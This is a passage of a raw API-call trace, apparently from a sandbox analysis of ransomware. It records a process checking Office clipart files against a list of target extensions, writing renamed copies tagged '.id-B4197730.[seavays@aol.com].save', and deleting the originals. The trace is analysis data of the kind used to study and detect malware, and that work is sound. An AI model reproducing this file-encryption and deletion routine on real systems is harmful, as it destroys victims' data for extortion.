-1 [0067.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0067.168] lstrlenW (lpString=".dbf") returned 4 [0067.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0067.168] lstrlenW (lpString=".1cd") returned 4 [0067.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0067.168] lstrlenW (lpString=".jpg") returned 4 [0067.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.170] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.170] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0067.170] GetLastError () returned 0x0 [0067.170] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x69aa, lpOverlapped=0x0) returned 1 [0067.173] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x69b0, lpOverlapped=0x0) returned 1 [0067.175] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.175] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.175] SetEndOfFile (hFile=0x368) returned 1 [0067.175] CloseHandle (hObject=0x368) returned 1 [0067.177] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.177] SetEndOfFile (hFile=0x2e8) returned 1 [0067.178] CloseHandle (hObject=0x2e8) returned 1 [0067.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0067.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0067.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0067.180] lstrlenW (lpString=".doc") returned 4 [0067.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.180] lstrlenW (lpString=".docx") returned 5 [0067.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.180] lstrlenW (lpString=".pdf") returned 4 [0067.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.180] lstrlenW (lpString=".xls") returned 4 [0067.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.180] lstrlenW (lpString=".xlsx") returned 5 [0067.180] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.180] lstrlenW (lpString=".ppt") returned 4 [0067.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0067.180] lstrlenW (lpString=".zip") returned 4 [0067.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.180] lstrlenW (lpString=".rar") returned 4 [0067.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.180] lstrlenW (lpString=".bz2") returned 4 [0067.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.180] lstrlenW (lpString=".7z") returned 3 [0067.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0067.181] lstrlenW (lpString=".dbf") returned 4 [0067.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0067.181] lstrlenW (lpString=".1cd") returned 4 [0067.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0067.181] lstrlenW (lpString=".jpg") returned 4 [0067.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.181] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.182] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0067.182] GetLastError () returned 0x0 [0067.182] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x1b54, lpOverlapped=0x0) returned 1 [0067.709] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x1b60, lpOverlapped=0x0) returned 1 [0067.710] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.711] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.711] SetEndOfFile (hFile=0x368) returned 1 [0067.711] CloseHandle (hObject=0x368) returned 1 [0067.712] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.712] SetEndOfFile (hFile=0x2e8) returned 1 [0067.713] CloseHandle (hObject=0x2e8) returned 1 [0067.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0067.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0067.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0067.715] lstrlenW (lpString=".doc") returned 4 [0067.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.715] lstrlenW (lpString=".docx") returned 5 [0067.715] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.715] lstrlenW (lpString=".pdf") returned 4 [0067.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.715] lstrlenW (lpString=".xls") returned 4 [0067.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.741] lstrlenW (lpString=".xlsx") returned 5 [0067.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.741] lstrlenW (lpString=".ppt") returned 4 [0067.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0067.741] lstrlenW (lpString=".zip") returned 4 [0067.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.741] lstrlenW (lpString=".rar") returned 4 [0067.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.741] lstrlenW (lpString=".bz2") returned 4 [0067.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.741] lstrlenW (lpString=".7z") returned 3 [0067.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0067.741] lstrlenW (lpString=".dbf") returned 4 [0067.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0067.742] lstrlenW (lpString=".1cd") returned 4 [0067.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0067.742] lstrlenW (lpString=".jpg") returned 4 [0067.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.742] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.743] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0067.743] GetLastError () returned 0x0 [0067.743] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x94a, lpOverlapped=0x0) returned 1 [0067.745] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x950, lpOverlapped=0x0) returned 1 [0067.747] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.747] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.747] SetEndOfFile (hFile=0x368) returned 1 [0067.747] CloseHandle (hObject=0x368) returned 1 [0067.749] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.749] SetEndOfFile (hFile=0x2e8) returned 1 [0067.750] CloseHandle (hObject=0x2e8) returned 1 [0067.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0067.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0067.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0067.751] lstrlenW (lpString=".doc") returned 4 [0067.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.751] lstrlenW (lpString=".docx") returned 5 [0067.751] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.751] lstrlenW (lpString=".pdf") returned 4 [0067.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.751] lstrlenW (lpString=".xls") returned 4 [0067.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.751] lstrlenW (lpString=".xlsx") returned 5 [0067.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.751] lstrlenW (lpString=".ppt") returned 4 [0067.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0067.751] lstrlenW (lpString=".zip") returned 4 [0067.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.752] lstrlenW (lpString=".rar") returned 4 [0067.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.752] lstrlenW (lpString=".bz2") returned 4 [0067.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.752] lstrlenW (lpString=".7z") returned 3 [0067.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0067.752] lstrlenW (lpString=".dbf") returned 4 [0067.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0067.752] lstrlenW (lpString=".1cd") returned 4 [0067.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0067.752] lstrlenW (lpString=".jpg") returned 4 [0067.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.753] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.753] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0067.753] GetLastError () returned 0x0 [0067.753] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x414, lpOverlapped=0x0) returned 1 [0067.755] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x420, lpOverlapped=0x0) returned 1 [0067.757] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.757] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.757] SetEndOfFile (hFile=0x368) returned 1 [0067.757] CloseHandle (hObject=0x368) returned 1 [0067.758] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.758] SetEndOfFile (hFile=0x2e8) returned 1 [0067.759] CloseHandle (hObject=0x2e8) returned 1 [0067.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0067.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0067.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0067.761] lstrlenW (lpString=".doc") returned 4 [0067.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.761] lstrlenW (lpString=".docx") returned 5 [0067.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.761] lstrlenW (lpString=".pdf") returned 4 [0067.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.761] lstrlenW (lpString=".xls") returned 4 [0067.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.761] lstrlenW (lpString=".xlsx") returned 5 [0067.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.761] lstrlenW (lpString=".ppt") returned 4 [0067.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0067.761] lstrlenW (lpString=".zip") returned 4 [0067.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.761] lstrlenW (lpString=".rar") returned 4 [0067.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.761] lstrlenW (lpString=".bz2") returned 4 [0067.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.761] lstrlenW (lpString=".7z") returned 3 [0067.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0067.762] lstrlenW (lpString=".dbf") returned 4 [0067.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0067.762] lstrlenW (lpString=".1cd") returned 4 [0067.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0067.762] lstrlenW (lpString=".jpg") returned 4 [0067.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.763] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.763] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0067.764] GetLastError () returned 0x0 [0067.764] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x876, lpOverlapped=0x0) returned 1 [0067.766] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x880, lpOverlapped=0x0) returned 1 [0067.767] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.767] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.767] SetEndOfFile (hFile=0x368) returned 1 [0067.767] CloseHandle (hObject=0x368) returned 1 [0067.769] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.769] SetEndOfFile (hFile=0x2e8) returned 1 [0067.770] CloseHandle (hObject=0x2e8) returned 1 [0067.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0067.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0067.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0067.771] lstrlenW (lpString=".doc") returned 4 [0067.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.771] lstrlenW (lpString=".docx") returned 5 [0067.771] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.771] lstrlenW (lpString=".pdf") returned 4 [0067.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.771] lstrlenW (lpString=".xls") returned 4 [0067.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.771] lstrlenW (lpString=".xlsx") returned 5 [0067.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.771] lstrlenW (lpString=".ppt") returned 4 [0067.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0067.772] lstrlenW (lpString=".zip") returned 4 [0067.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.772] lstrlenW (lpString=".rar") returned 4 [0067.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.772] lstrlenW (lpString=".bz2") returned 4 [0067.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.773] lstrlenW (lpString=".7z") returned 3 [0067.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0067.773] lstrlenW (lpString=".dbf") returned 4 [0067.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0067.773] lstrlenW (lpString=".1cd") returned 4 [0067.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0067.773] lstrlenW (lpString=".jpg") returned 4 [0067.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.773] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.774] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0067.774] GetLastError () returned 0x0 [0067.774] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x6b0, lpOverlapped=0x0) returned 1 [0068.203] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x6c0, lpOverlapped=0x0) returned 1 [0068.204] ReadFile (in: hFile=0x2e8, 